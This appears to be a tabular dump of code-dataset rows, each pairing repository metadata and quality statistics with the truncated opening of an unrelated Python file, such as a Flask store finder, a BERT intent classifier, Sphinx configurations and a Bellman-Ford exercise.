is part dependency gr... | 32.066667 | 90 | 0.69106 | 295 | 2,405 | 5.532203 | 0.349153 | 0.094363 | 0.025735 | 0.038603 | 0.251225 | 0.229167 | 0.229167 | 0.229167 | 0.158088 | 0.158088 | 0 | 0 | 0.208732 | 2,405 | 74 | 91 | 32.5 | 0.857593 | 0.401247 | 0 | 0 | 0 | 0 | 0.034039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.2 | 0 | 0.366667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb3817bdbf09d70c073184d064ea74bede74d6b3 | 1,607 | py | Python | z_exams/exam_2018_08_26/ex_03_descriptions.py | VasAtanasov/SoftUni-Python-Fundamentals | 471d0537dd6e5c8b61ede92b7673c0d67e2964fd | [
"MIT"
] | 1 | 2019-06-05T11:16:08.000Z | 2019-06-05T11:16:08.000Z | z_exams/exam_2018_08_26/ex_03_descriptions.py | VasAtanasov/SoftUni-Python-Fundamentals | 471d0537dd6e5c8b61ede92b7673c0d67e2964fd | [
"MIT"
] | null | null | null | z_exams/exam_2018_08_26/ex_03_descriptions.py | VasAtanasov/SoftUni-Python-Fundamentals | 471d0537dd6e5c8b61ede92b7673c0d67e2964fd | [
"MIT"
] | null | null | null | import re
REGEX = {
"name": r"name is (?P<name>[A-Z][A-Za-z]+ [A-Z][A-Za-z]+)",
"age": r" (?P<age>[0-9]{2}) years",
"date": r"on (?P<date>[0-9]{2}-[0-9]{2}-[0-9]{4})."
}
class Person:
def __init__(self, full_name, age, birth_date):
self.__full_name = full_name
self.__age = age
... | 23.289855 | 97 | 0.533914 | 215 | 1,607 | 3.832558 | 0.297674 | 0.067961 | 0.058252 | 0.054612 | 0.024272 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015247 | 0.306161 | 1,607 | 68 | 98 | 23.632353 | 0.723767 | 0 | 0 | 0.153846 | 0 | 0.038462 | 0.185439 | 0.037337 | 0 | 0 | 0 | 0 | 0 | 1 | 0.096154 | false | 0 | 0.019231 | 0.076923 | 0.211538 | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb3a72f79061cb96a4d85d2974153bcda4983c49 | 7,667 | py | Python | GoogleSheetsJobParser.py | mattfromsydney/Scientific-Report-Generator | 17ddfe42e38d83341460a6de7b0b156bf7cd820a | [
"MIT"
] | null | null | null | GoogleSheetsJobParser.py | mattfromsydney/Scientific-Report-Generator | 17ddfe42e38d83341460a6de7b0b156bf7cd820a | [
"MIT"
] | null | null | null | GoogleSheetsJobParser.py | mattfromsydney/Scientific-Report-Generator | 17ddfe42e38d83341460a6de7b0b156bf7cd820a | [
"MIT"
] | null | null | null | """
NOTE on google sheets format:
The google sheets document must have the following:
Columns A and B from cell 2 down are all the sample details
Column A is the name of the detail and Column B is the value of the detail
Columns B and onwards can be anything but there must be three speicifc... | 43.811429 | 104 | 0.60493 | 1,015 | 7,667 | 4.502463 | 0.214778 | 0.032823 | 0.029759 | 0.020131 | 0.315536 | 0.271554 | 0.234792 | 0.212691 | 0.199125 | 0.199125 | 0 | 0.009472 | 0.32529 | 7,667 | 175 | 105 | 43.811429 | 0.873961 | 0.478805 | 0 | 0.129032 | 0 | 0 | 0.067358 | 0.00709 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0.016129 | 0.048387 | 0 | 0.177419 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb3a92014d6912b9f49fb4d369df04c828bdc5f0 | 6,565 | py | Python | Week3-Case-Studies-Part1/Language-Processing/Language_Processing.py | Lamanova/Harvard-PH526x-Lab | 168e4c16fa067905142bb6be106277f228d591c5 | [
"MIT"
] | 7 | 2017-08-13T03:03:55.000Z | 2022-02-06T17:08:12.000Z | Week3-Case-Studies-Part1/Language-Processing/Language_Processing.py | Lamanova/Harvard-PH526x-Lab | 168e4c16fa067905142bb6be106277f228d591c5 | [
"MIT"
] | null | null | null | Week3-Case-Studies-Part1/Language-Processing/Language_Processing.py | Lamanova/Harvard-PH526x-Lab | 168e4c16fa067905142bb6be106277f228d591c5 | [
"MIT"
] | 10 | 2017-09-29T08:22:10.000Z | 2021-06-17T22:51:59.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Feb 28 22:41:26 2017
@author: lamahamadeh
"""
'''
Case Study about Language Processing
'''
#counting words
#---------------
text = "This is a test text. We're keping this text short to keep things manageable." #test text
#Using loops
#-----------
d... | 36.071429 | 282 | 0.6262 | 880 | 6,565 | 4.609091 | 0.292045 | 0.034517 | 0.018984 | 0.016765 | 0.341963 | 0.302761 | 0.259862 | 0.259862 | 0.244576 | 0.203649 | 0 | 0.007909 | 0.17182 | 6,565 | 181 | 283 | 36.270718 | 0.738091 | 0.46489 | 0 | 0.157895 | 0 | 0 | 0.156619 | 0.038915 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.052632 | 0 | 0.144737 | 0.197368 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
3485a97e04399f112e63493e9a7df6b69342ec0c | 313 | py | Python | Microservices/Events/Events/producer.py | satyap54/Microservices-Architecture | be397b351a61eb21229fad021590fcb0b07b8089 | [
"MIT"
] | null | null | null | Microservices/Events/Events/producer.py | satyap54/Microservices-Architecture | be397b351a61eb21229fad021590fcb0b07b8089 | [
"MIT"
] | null | null | null | Microservices/Events/Events/producer.py | satyap54/Microservices-Architecture | be397b351a61eb21229fad021590fcb0b07b8089 | [
"MIT"
] | null | null | null | import asyncio
import aiormq
async def publish(method, event_id):
connection = await aiormq.connect('')
channel = await connection.channel()
body = bytes(str(event_id), 'utf-8')
await channel.basic_publish(
body, exchange='', routing_key='admin'
)
await connection.close()
| 20.866667 | 46 | 0.664537 | 37 | 313 | 5.513514 | 0.648649 | 0.068627 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004082 | 0.217252 | 313 | 14 | 47 | 22.357143 | 0.828571 | 0 | 0 | 0 | 0 | 0 | 0.031949 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
3485c332458e998d42d6f67bb82de0ba508582c0 | 8,473 | py | Python | timezone/embeds.py | duanegtr/legendv3-cogs | ffde1452a75ad42b4f6511b612ce486e96fcd6de | [
"MIT"
] | 10 | 2020-05-25T13:32:30.000Z | 2022-02-01T12:33:07.000Z | timezone/embeds.py | darcyle/tl-cogs | 6b13c4a6247115571c5a2bb6ea98ed1fe2d44d79 | [
"MIT"
] | 2 | 2020-05-23T22:53:07.000Z | 2020-08-09T11:28:12.000Z | timezone/embeds.py | darcyle/tl-cogs | 6b13c4a6247115571c5a2bb6ea98ed1fe2d44d79 | [
"MIT"
] | 7 | 2020-05-18T17:37:33.000Z | 2022-01-13T04:08:05.000Z | """Embeds for Timezone Legends discord bot."""
import time
import discord
from dateutil.parser import parse # pip install python-dateutil
from pytz import timezone
from datetime import datetime
class Timezone_Embeds:
def __init__(self, description=None, color=0x5c0708, show_footer=True, show_timestamp=True, show_t... | 57.639456 | 331 | 0.688304 | 1,189 | 8,473 | 4.779647 | 0.232969 | 0.040824 | 0.054901 | 0.071793 | 0.535809 | 0.506599 | 0.45117 | 0.426535 | 0.373922 | 0.342425 | 0 | 0.051293 | 0.164759 | 8,473 | 146 | 332 | 58.034247 | 0.751731 | 0.03281 | 0 | 0.301075 | 0 | 0.096774 | 0.324392 | 0.004549 | 0 | 0 | 0.001255 | 0 | 0 | 1 | 0.021505 | false | 0 | 0.053763 | 0 | 0.086022 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34895fa122da2aa59b08dae55bc7b95297e3503a | 1,521 | py | Python | utils/commonutils.py | rupakc/Storyweaver | 9a6ec1c040a09f730cc6f32ce385f44a79d28663 | [
"BSL-1.0"
] | null | null | null | utils/commonutils.py | rupakc/Storyweaver | 9a6ec1c040a09f730cc6f32ce385f44a79d28663 | [
"BSL-1.0"
] | null | null | null | utils/commonutils.py | rupakc/Storyweaver | 9a6ec1c040a09f730cc6f32ce385f44a79d28663 | [
"BSL-1.0"
] | null | null | null | import hashlib
import shutil
import requests
import os
from config import constants
def get_sha_hash(content):
sha = hashlib.sha1()
sha.update(content)
return sha.hexdigest()
def download_image(image_url,filename_to_save):
response = requests.get(image_url, stream=True)
with open(filename_to_sav... | 33.065217 | 82 | 0.721893 | 216 | 1,521 | 4.666667 | 0.291667 | 0.089286 | 0.051587 | 0.074405 | 0.172619 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003247 | 0.190007 | 1,521 | 45 | 83 | 33.8 | 0.814935 | 0 | 0 | 0 | 0 | 0 | 0.004602 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.138889 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
348a2b80711dded6c85af5b308b4122d1e73013c | 14,635 | py | Python | flask_app.py | wacovidhackathon/TPCraze | 57a9485a008536f6326e29328df6af6d29045a6d | [
"MIT"
] | null | null | null | flask_app.py | wacovidhackathon/TPCraze | 57a9485a008536f6326e29328df6af6d29045a6d | [
"MIT"
] | null | null | null | flask_app.py | wacovidhackathon/TPCraze | 57a9485a008536f6326e29328df6af6d29045a6d | [
"MIT"
] | null | null | null | import time, os
import tomtomSearch
from flask_bootstrap import Bootstrap
from flask import Flask, render_template, request, redirect, flash, session, jsonify, url_for
from flask_wtf import FlaskForm
from wtforms import StringField, BooleanField, SubmitField, IntegerField, SelectField, RadioField
from wtforms.val... | 38.111979 | 374 | 0.610386 | 1,747 | 14,635 | 4.949056 | 0.135661 | 0.047421 | 0.035392 | 0.030534 | 0.418228 | 0.366875 | 0.337034 | 0.291349 | 0.262202 | 0.236641 | 0 | 0.00808 | 0.238879 | 14,635 | 383 | 375 | 38.211488 | 0.768112 | 0.050427 | 0 | 0.215094 | 0 | 0 | 0.189451 | 0.001726 | 0 | 0 | 0 | 0.002611 | 0 | 1 | 0.045283 | false | 0.003774 | 0.037736 | 0 | 0.211321 | 0.015094 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
348c6299bee8c546cf7aa75e9c41522b146fab11 | 2,634 | py | Python | pkg/codegen/internal/test/testdata/output-funcs/py_tests/pulumi_py_tests.py | sticha/pulumi | 76ee1b8ccfee815eb315d9e0e0ddfaaf505c472b | [
"Apache-2.0"
] | null | null | null | pkg/codegen/internal/test/testdata/output-funcs/py_tests/pulumi_py_tests.py | sticha/pulumi | 76ee1b8ccfee815eb315d9e0e0ddfaaf505c472b | [
"Apache-2.0"
] | null | null | null | pkg/codegen/internal/test/testdata/output-funcs/py_tests/pulumi_py_tests.py | sticha/pulumi | 76ee1b8ccfee815eb315d9e0e0ddfaaf505c472b | [
"Apache-2.0"
] | null | null | null | # Copyright 2016-2021, Pulumi Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | 30.988235 | 89 | 0.65186 | 327 | 2,634 | 5.137615 | 0.376147 | 0.057143 | 0.028571 | 0.045238 | 0.197619 | 0.197619 | 0.197619 | 0.102381 | 0.102381 | 0.04881 | 0 | 0.00813 | 0.252847 | 2,634 | 84 | 90 | 31.357143 | 0.845528 | 0.461655 | 0 | 0.181818 | 0 | 0 | 0.115323 | 0.020161 | 0 | 0 | 0 | 0 | 0 | 1 | 0.151515 | false | 0 | 0.060606 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
3490cf6f7075a2aef1693d69a9521b0b995d567b | 604 | py | Python | unidad2/pc2/e1.py | upc-projects/cc76 | 0f1663cc439889b0c7e924923639e7c2e032b9b6 | [
"MIT"
] | 1 | 2020-09-21T16:56:24.000Z | 2020-09-21T16:56:24.000Z | unidad2/pc2/e1.py | upc-projects/cc76 | 0f1663cc439889b0c7e924923639e7c2e032b9b6 | [
"MIT"
] | null | null | null | unidad2/pc2/e1.py | upc-projects/cc76 | 0f1663cc439889b0c7e924923639e7c2e032b9b6 | [
"MIT"
] | null | null | null | import math
def Bellman_ford(G):
n = len(G)
distance = [-math.inf]*n
parents = [None]* n
distance[0] = 0
for _ in range(n-1):
for u in range(n):
for v, w in G[u]:
if distance[v-1] < distance[u-1] + w:
distance[v-1] = distance[u-1] + w
... | 18.875 | 53 | 0.463576 | 89 | 604 | 3.101124 | 0.41573 | 0.021739 | 0.086957 | 0.130435 | 0.152174 | 0.152174 | 0.152174 | 0 | 0 | 0 | 0 | 0.065104 | 0.364238 | 604 | 31 | 54 | 19.483871 | 0.653646 | 0 | 0 | 0 | 0 | 0 | 0.02649 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.125 | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
3491846c1c297a3eafd5e93b910d0c66155d9336 | 1,743 | py | Python | Incident-Response/Tools/dfirtrack/dfirtrack_main/exporter/markdown/markdown_check_data.py | sn0b4ll/Incident-Playbook | cf519f58fcd4255674662b3620ea97c1091c1efb | [
"MIT"
] | 1 | 2021-07-24T17:22:50.000Z | 2021-07-24T17:22:50.000Z | Incident-Response/Tools/dfirtrack/dfirtrack_main/exporter/markdown/markdown_check_data.py | sn0b4ll/Incident-Playbook | cf519f58fcd4255674662b3620ea97c1091c1efb | [
"MIT"
] | 2 | 2022-02-28T03:40:31.000Z | 2022-02-28T03:40:52.000Z | Incident-Response/Tools/dfirtrack/dfirtrack_main/exporter/markdown/markdown_check_data.py | sn0b4ll/Incident-Playbook | cf519f58fcd4255674662b3620ea97c1091c1efb | [
"MIT"
] | 2 | 2022-02-25T08:34:51.000Z | 2022-03-16T17:29:44.000Z | from django.contrib import messages
from dfirtrack_config.models import SystemExporterMarkdownConfigModel
from dfirtrack_main.logger.default_logger import warning_logger
import os
def check_config(request):
""" check variables in config """
# get config model
model = SystemExporterMarkdownConfigModel.obje... | 44.692308 | 128 | 0.729776 | 217 | 1,743 | 5.677419 | 0.308756 | 0.155844 | 0.081169 | 0.048701 | 0.478084 | 0.45211 | 0.45211 | 0.45211 | 0.301136 | 0.258117 | 0 | 0 | 0.205967 | 1,743 | 38 | 129 | 45.868421 | 0.890173 | 0.188181 | 0 | 0.227273 | 0 | 0 | 0.266238 | 0.019986 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.181818 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34940ee04b10ec17bfb59f0b5abe7be0ed5efa38 | 4,602 | py | Python | models/bert_with_conversation_context.py | RobinRojowiec/intent-recognition-in-doctor-patient-interviews | b91c7a9f3ad70edd0f39b56e3219f48d1fcf2078 | [
"Apache-2.0"
] | null | null | null | models/bert_with_conversation_context.py | RobinRojowiec/intent-recognition-in-doctor-patient-interviews | b91c7a9f3ad70edd0f39b56e3219f48d1fcf2078 | [
"Apache-2.0"
] | null | null | null | models/bert_with_conversation_context.py | RobinRojowiec/intent-recognition-in-doctor-patient-interviews | b91c7a9f3ad70edd0f39b56e3219f48d1fcf2078 | [
"Apache-2.0"
] | 1 | 2021-11-24T18:48:47.000Z | 2021-11-24T18:48:47.000Z | import pickle
import torch
import torch.nn as nn
from torchtext.data import Field
from common.paths import ROOT_RELATIVE_DIR, MODEL_PATH
from models.bert_layer import BERTLayer
from probability.tables import TransitionTable
from utility.model_parameter import Configuration, ModelParameter
class BERTWithConversation... | 38.672269 | 140 | 0.69535 | 517 | 4,602 | 5.909091 | 0.251451 | 0.031424 | 0.026187 | 0.028805 | 0.138134 | 0.053682 | 0.053682 | 0 | 0 | 0 | 0 | 0.005137 | 0.238592 | 4,602 | 118 | 141 | 39 | 0.866724 | 0.121469 | 0 | 0.136986 | 0 | 0 | 0.006531 | 0.005275 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054795 | false | 0 | 0.109589 | 0 | 0.219178 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
349ac7bf295420ef2ab524ccb2bae107924bef1f | 9,274 | py | Python | docs/conf.py | myii/saltenv | 2309e6759504f5326a444270c8e8bb3edf14b760 | [
"Apache-2.0"
] | 5 | 2022-03-25T17:15:04.000Z | 2022-03-28T23:24:26.000Z | docs/conf.py | myii/saltenv | 2309e6759504f5326a444270c8e8bb3edf14b760 | [
"Apache-2.0"
] | null | null | null | docs/conf.py | myii/saltenv | 2309e6759504f5326a444270c8e8bb3edf14b760 | [
"Apache-2.0"
] | 2 | 2022-03-26T06:33:30.000Z | 2022-03-29T19:43:50.000Z | #
# Configuration file for the Sphinx documentation builder.
#
# This file does only contain a selection of the most common options. For a
# full list see the documentation:
# http://www.sphinx-doc.org/en/master/config
# -- Path setup --------------------------------------------------------------
# If extensions (or mo... | 34.996226 | 133 | 0.667026 | 1,194 | 9,274 | 5.083752 | 0.335846 | 0.011862 | 0.016804 | 0.012356 | 0.212191 | 0.177595 | 0.148929 | 0.148929 | 0.148929 | 0.120593 | 0 | 0.006962 | 0.163683 | 9,274 | 264 | 134 | 35.128788 | 0.775658 | 0.684494 | 0 | 0.126214 | 0 | 0 | 0.249911 | 0.015709 | 0 | 0 | 0 | 0.003788 | 0 | 1 | 0 | false | 0 | 0.019417 | 0 | 0.019417 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
349b663f81956d7e9257fe5e42ee283abd8a9e68 | 2,094 | py | Python | utils.py | momskidvaava/firefoxbot | 1ed85e4f6594b144ceabdecb19e6e022180e639e | [
"MIT"
] | null | null | null | utils.py | momskidvaava/firefoxbot | 1ed85e4f6594b144ceabdecb19e6e022180e639e | [
"MIT"
] | null | null | null | utils.py | momskidvaava/firefoxbot | 1ed85e4f6594b144ceabdecb19e6e022180e639e | [
"MIT"
] | 1 | 2021-11-25T14:05:25.000Z | 2021-11-25T14:05:25.000Z | import datetime
import typing
import localization
from configurator import Config
def get_restriction_time(string: str) -> typing.Optional[int]:
"""
Get user restriction time in seconds
:param string: string to check for multiplier. The last symbol should be one of:
"m" for minutes, "h" for hours... | 33.238095 | 118 | 0.668577 | 308 | 2,094 | 4.405844 | 0.392857 | 0.039794 | 0.046426 | 0.05969 | 0.078113 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017089 | 0.245463 | 2,094 | 62 | 119 | 33.774194 | 0.841772 | 0.430755 | 0 | 0.16129 | 0 | 0 | 0.041894 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.096774 | false | 0 | 0.129032 | 0 | 0.483871 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a1337c8f6d2a9a081a7f61b09a68afa8480561 | 7,374 | py | Python | theseus/test/test_tracer.py | pexip/os-python-theseus | 3093edd7bc4af5556bce42c8602685010c695183 | [
"0BSD"
] | 1 | 2016-04-27T07:58:20.000Z | 2016-04-27T07:58:20.000Z | theseus/test/test_tracer.py | pexip/os-python-theseus | 3093edd7bc4af5556bce42c8602685010c695183 | [
"0BSD"
] | null | null | null | theseus/test/test_tracer.py | pexip/os-python-theseus | 3093edd7bc4af5556bce42c8602685010c695183 | [
"0BSD"
] | null | null | null | from cStringIO import StringIO
import inspect
import textwrap
import pytest
from twisted.internet import defer, task
from theseus._tracer import Function, Tracer
class FakeCode(object):
def __init__(self, filename='', name='', flags=0):
self.co_filename = filename
self.co_name = name
sel... | 27.210332 | 79 | 0.649173 | 930 | 7,374 | 4.941935 | 0.189247 | 0.022846 | 0.04134 | 0.052219 | 0.452132 | 0.401436 | 0.353351 | 0.294822 | 0.263925 | 0.238251 | 0 | 0.019757 | 0.231218 | 7,374 | 270 | 80 | 27.311111 | 0.790968 | 0.227421 | 0 | 0.371069 | 0 | 0 | 0.096524 | 0.008136 | 0 | 0 | 0 | 0 | 0.09434 | 1 | 0.144654 | false | 0 | 0.037736 | 0.006289 | 0.226415 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a2c4ef21ebf75e62e5e53df18db5c3d07d0336 | 1,665 | py | Python | testdoc/conf.py | coding-to-music/sphinx-seo-meta-twitter | 23ec10e32ae272d5024d2468a87813ecabd30bfa | [
"BSD-3-Clause"
] | null | null | null | testdoc/conf.py | coding-to-music/sphinx-seo-meta-twitter | 23ec10e32ae272d5024d2468a87813ecabd30bfa | [
"BSD-3-Clause"
] | null | null | null | testdoc/conf.py | coding-to-music/sphinx-seo-meta-twitter | 23ec10e32ae272d5024d2468a87813ecabd30bfa | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
import sys, os
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = ['sphinxcontrib.seometatwi... | 27.295082 | 80 | 0.713514 | 229 | 1,665 | 5.122271 | 0.606987 | 0.00682 | 0.005115 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010745 | 0.161562 | 1,665 | 60 | 81 | 27.75 | 0.829513 | 0.681682 | 0 | 0 | 0 | 0 | 0.319444 | 0.097222 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.055556 | 0 | 0.055556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a414f71bdbac2f19072c327b891b149dfefa34 | 6,511 | py | Python | dash/lib/events/servermanagement.py | wjwwood/open-robotics-platform | c417f1e4e381cdbbe88ba9ad4dea3bdf9840d3d5 | [
"MIT"
] | null | null | null | dash/lib/events/servermanagement.py | wjwwood/open-robotics-platform | c417f1e4e381cdbbe88ba9ad4dea3bdf9840d3d5 | [
"MIT"
] | null | null | null | dash/lib/events/servermanagement.py | wjwwood/open-robotics-platform | c417f1e4e381cdbbe88ba9ad4dea3bdf9840d3d5 | [
"MIT"
] | null | null | null | #!/usr/bin/env python -OO
# encoding: utf-8
###########
# ORP - Open Robotics Platform
#
# Copyright (c) 2010 John Harrison, William Woodall
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Softwa... | 38.526627 | 102 | 0.665643 | 836 | 6,511 | 5.055024 | 0.328947 | 0.056791 | 0.052059 | 0.031945 | 0.176763 | 0.138192 | 0.121628 | 0.096072 | 0.075722 | 0.075722 | 0 | 0.006639 | 0.236523 | 6,511 | 169 | 103 | 38.526627 | 0.843492 | 0.289971 | 0 | 0.145631 | 0 | 0 | 0.042238 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.067961 | false | 0.019417 | 0.106796 | 0 | 0.184466 | 0.009709 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a4b62edf263b2fe76869067f5c2acf0eed223a | 1,661 | py | Python | test/uma/rp/check.py | rohe/oictest | f6f0800220befd5983b8cb34a5c984f98855d089 | [
"Apache-2.0"
] | 32 | 2015-01-02T20:15:17.000Z | 2020-02-15T20:46:25.000Z | test/uma/rp/check.py | rohe/oictest | f6f0800220befd5983b8cb34a5c984f98855d089 | [
"Apache-2.0"
] | 8 | 2015-02-23T19:48:53.000Z | 2016-01-20T08:24:05.000Z | test/uma/rp/check.py | rohe/oictest | f6f0800220befd5983b8cb34a5c984f98855d089 | [
"Apache-2.0"
] | 17 | 2015-01-02T20:15:22.000Z | 2022-03-22T22:58:28.000Z | import inspect
import sys
from uma import message
from rrtest.check import Error, get_protocol_response
from rrtest import Unknown
from oictest import check
__author__ = 'roland'
CLASS_CACHE = {}
class MatchResourceSet(Error):
"""
Verify that the returned resource set is as expected
"""
cid = "match... | 27.683333 | 73 | 0.556291 | 181 | 1,661 | 4.966851 | 0.441989 | 0.048943 | 0.042269 | 0.068966 | 0.182425 | 0.182425 | 0.182425 | 0.182425 | 0.182425 | 0.182425 | 0 | 0.001905 | 0.367851 | 1,661 | 59 | 74 | 28.152542 | 0.854286 | 0.054184 | 0 | 0.244444 | 0 | 0 | 0.062379 | 0 | 0 | 0 | 0 | 0 | 0.088889 | 1 | 0.044444 | false | 0.022222 | 0.133333 | 0 | 0.311111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a59aa4fd323b18e2045c4173ab3b0589d86fd9 | 10,959 | py | Python | lib/utils/general.py | yingbiaoluo/ocr_pytorch | 7d9163f7d6d557d83e2f50a39a3219f330f0cf84 | [
"MIT"
] | null | null | null | lib/utils/general.py | yingbiaoluo/ocr_pytorch | 7d9163f7d6d557d83e2f50a39a3219f330f0cf84 | [
"MIT"
